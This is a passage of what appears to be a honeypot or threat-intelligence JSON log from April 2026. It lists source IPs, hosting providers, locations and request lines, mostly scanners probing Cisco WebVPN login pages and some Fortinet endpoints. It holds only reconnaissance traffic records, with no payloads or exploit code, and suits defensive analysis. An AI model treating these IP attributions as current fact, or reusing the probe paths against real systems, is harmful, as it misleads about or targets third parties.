      "country_code": "US",
      "city": "Las Vegas",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "37.19.221.162": {
      "attack_count": 27,
      "first_seen": "2026-04-08T17:34:27.185Z",
      "last_seen": "2026-04-25T14:17:26.721Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.106.71": {
      "attack_count": 24,
      "first_seen": "2026-04-10T11:54:59.603Z",
      "last_seen": "2026-04-27T17:44:02.805Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "5.42.218.241": {
      "attack_count": 23,
      "first_seen": "2026-04-12T01:12:17.633Z",
      "last_seen": "2026-04-13T06:08:24.943Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "185.94.67.153": {
      "attack_count": 22,
      "first_seen": "2026-04-13T03:12:29.258Z",
      "last_seen": "2026-04-15T02:19:04.832Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "104.36.50.43": {
      "attack_count": 21,
      "first_seen": "2026-04-08T10:21:31.602Z",
      "last_seen": "2026-04-29T23:33:58.296Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "185.156.46.140": {
      "attack_count": 21,
      "first_seen": "2026-04-11T04:39:23.589Z",
      "last_seen": "2026-04-29T16:21:41.224Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.104.71": {
      "attack_count": 21,
      "first_seen": "2026-04-13T10:11:52.588Z",
      "last_seen": "2026-04-29T11:14:13.314Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "173.249.252.236": {
      "attack_count": 18,
      "first_seen": "2026-04-09T01:35:50.659Z",
      "last_seen": "2026-04-23T13:39:36.509Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.111.61": {
      "attack_count": 18,
      "first_seen": "2026-04-08T14:59:26.302Z",
      "last_seen": "2026-04-28T00:01:20.408Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.115.227": {
      "attack_count": 18,
      "first_seen": "2026-04-16T02:23:10.600Z",
      "last_seen": "2026-04-24T20:55:40.713Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.96.109": {
      "attack_count": 18,
      "first_seen": "2026-04-10T16:07:21.297Z",
      "last_seen": "2026-04-18T17:19:36.678Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.200.149": {
      "attack_count": 16,
      "first_seen": "2026-04-12T01:38:29.674Z",
      "last_seen": "2026-04-27T18:12:47.483Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "146.70.211.48": {
      "attack_count": 15,
      "first_seen": "2026-04-13T14:45:12.598Z",
      "last_seen": "2026-04-24T13:47:20.109Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "172.120.205.238": {
      "attack_count": 15,
      "first_seen": "2026-04-13T06:45:29.557Z",
      "last_seen": "2026-04-13T13:55:44.942Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "173.249.252.109": {
      "attack_count": 15,
      "first_seen": "2026-04-09T02:22:27.483Z",
      "last_seen": "2026-04-27T17:58:11.320Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "173.249.254.197": {
      "attack_count": 15,
      "first_seen": "2026-04-11T05:31:29.956Z",
      "last_seen": "2026-04-18T10:55:10.893Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.109.188": {
      "attack_count": 15,
      "first_seen": "2026-04-16T08:02:01.117Z",
      "last_seen": "2026-04-30T05:46:13.007Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.73.231": {
      "attack_count": 15,
      "first_seen": "2026-04-18T18:53:00.584Z",
      "last_seen": "2026-04-26T04:55:44.897Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.82.233": {
      "attack_count": 15,
      "first_seen": "2026-04-16T05:19:20.397Z",
      "last_seen": "2026-04-29T15:21:44.412Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.181": {
      "attack_count": 15,
      "first_seen": "2026-04-18T23:59:09.153Z",
      "last_seen": "2026-04-23T17:44:33.901Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.220.100.251": {
      "attack_count": 13,
      "first_seen": "2026-04-24T09:10:37.667Z",
      "last_seen": "2026-04-24T09:10:57.001Z",
      "ports": [],
      "event_types": [
        "\"GET /recordings/main.php.1?2w HTTP/1.1\" 404 -",
        "\"GET /recordings/main.php.1?5a HTTP/1.1\" 404 -",
        "\"GET /recordings/main.php.2?2s HTTP/1.1\" 404 -",
        "\"GET /recordings/main.php.2?5x HTTP/1.1\" 404 -",
        "\"GET /recordings/main.php?22 HTTP/1.1\" 404 -",
        "\"GET /recordings/main.php?3q HTTP/1.1\" 404 -",
        "\"GET /recordings/main.php?x3 HTTP/1.1\" 404 -",
        "\"GET /recordings/miscconfig.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/miscconfig.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 205100,
      "as_org": "F3 Netze e.V."
    },
    "64.62.156.52": {
      "attack_count": 13,
      "first_seen": "2026-04-27T00:23:09.402Z",
      "last_seen": "2026-04-27T00:30:02.835Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "138.199.43.69": {
      "attack_count": 12,
      "first_seen": "2026-04-25T00:59:31.864Z",
      "last_seen": "2026-04-28T05:22:30.735Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "155.2.191.119": {
      "attack_count": 12,
      "first_seen": "2026-04-10T01:15:59.821Z",
      "last_seen": "2026-04-18T21:19:07.939Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "185.156.46.146": {
      "attack_count": 12,
      "first_seen": "2026-04-08T11:40:48.428Z",
      "last_seen": "2026-04-19T00:02:06.036Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.107.231": {
      "attack_count": 12,
      "first_seen": "2026-04-09T03:12:09.879Z",
      "last_seen": "2026-04-30T03:01:09.810Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.109.100": {
      "attack_count": 12,
      "first_seen": "2026-04-10T10:58:49.654Z",
      "last_seen": "2026-04-29T15:01:26.532Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.112.157": {
      "attack_count": 12,
      "first_seen": "2026-04-16T04:33:08.731Z",
      "last_seen": "2026-04-29T16:21:29.235Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.114.188": {
      "attack_count": 12,
      "first_seen": "2026-04-24T21:02:12.490Z",
      "last_seen": "2026-04-28T07:01:39.095Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.71.48": {
      "attack_count": 12,
      "first_seen": "2026-04-11T01:27:41.130Z",
      "last_seen": "2026-04-23T08:04:10.833Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.95.188": {
      "attack_count": 12,
      "first_seen": "2026-04-10T10:59:43.908Z",
      "last_seen": "2026-04-18T01:38:42.996Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "66.132.172.134": {
      "attack_count": 12,
      "first_seen": "2026-04-06T03:45:46.507Z",
      "last_seen": "2026-04-24T21:47:15.370Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "code 505",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "74.82.47.5": {
      "attack_count": 11,
      "first_seen": "2026-04-02T05:16:53.230Z",
      "last_seen": "2026-04-02T05:22:18.615Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "103.251.27.157": {
      "attack_count": 9,
      "first_seen": "2026-04-11T08:51:56.026Z",
      "last_seen": "2026-04-29T12:53:08.517Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "138.249.239.10": {
      "attack_count": 9,
      "first_seen": "2026-04-02T15:01:46.765Z",
      "last_seen": "2026-04-02T15:02:03.144Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.101.100": {
      "attack_count": 9,
      "first_seen": "2026-04-11T11:00:02.718Z",
      "last_seen": "2026-04-23T14:04:19.412Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.111.100": {
      "attack_count": 9,
      "first_seen": "2026-04-08T14:10:33.129Z",
      "last_seen": "2026-04-28T01:57:40.593Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.119.31": {
      "attack_count": 9,
      "first_seen": "2026-04-22T04:38:24.002Z",
      "last_seen": "2026-04-30T02:28:12.542Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.74.231": {
      "attack_count": 9,
      "first_seen": "2026-04-19T04:07:12.087Z",
      "last_seen": "2026-04-23T10:42:47.532Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.97.59": {
      "attack_count": 9,
      "first_seen": "2026-04-10T16:09:59.311Z",
      "last_seen": "2026-04-21T10:25:53.935Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.200.133": {
      "attack_count": 9,
      "first_seen": "2026-04-09T01:57:24.626Z",
      "last_seen": "2026-04-29T03:52:59.098Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "79.127.217.38": {
      "attack_count": 9,
      "first_seen": "2026-04-18T05:57:09.529Z",
      "last_seen": "2026-04-29T12:06:43.444Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "193.160.217.194": {
      "attack_count": 8,
      "first_seen": "2026-04-02T20:01:18.062Z",
      "last_seen": "2026-04-03T03:57:24.828Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Lakemoor",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "166.88.219.25": {
      "attack_count": 7,
      "first_seen": "2026-04-13T02:01:18.616Z",
      "last_seen": "2026-04-13T02:01:44.402Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "193.228.48.175": {
      "attack_count": 7,
      "first_seen": "2026-04-02T14:59:25.610Z",
      "last_seen": "2026-04-02T14:59:38.948Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "103.81.231.188": {
      "attack_count": 6,
      "first_seen": "2026-04-18T21:05:05.182Z",
      "last_seen": "2026-04-18T21:17:21.193Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "142.147.89.217": {
      "attack_count": 6,
      "first_seen": "2026-04-27T13:47:58.084Z",
      "last_seen": "2026-04-27T14:03:21.397Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 6233,
      "as_org": "xTom"
    },
    "142.147.89.228": {
      "attack_count": 6,
      "first_seen": "2026-04-19T08:17:36.950Z",
      "last_seen": "2026-04-19T10:11:53.514Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 6233,
      "as_org": "xTom"
    },
    "146.70.166.137": {
      "attack_count": 6,
      "first_seen": "2026-04-13T14:36:21.905Z",
      "last_seen": "2026-04-29T19:44:37.516Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
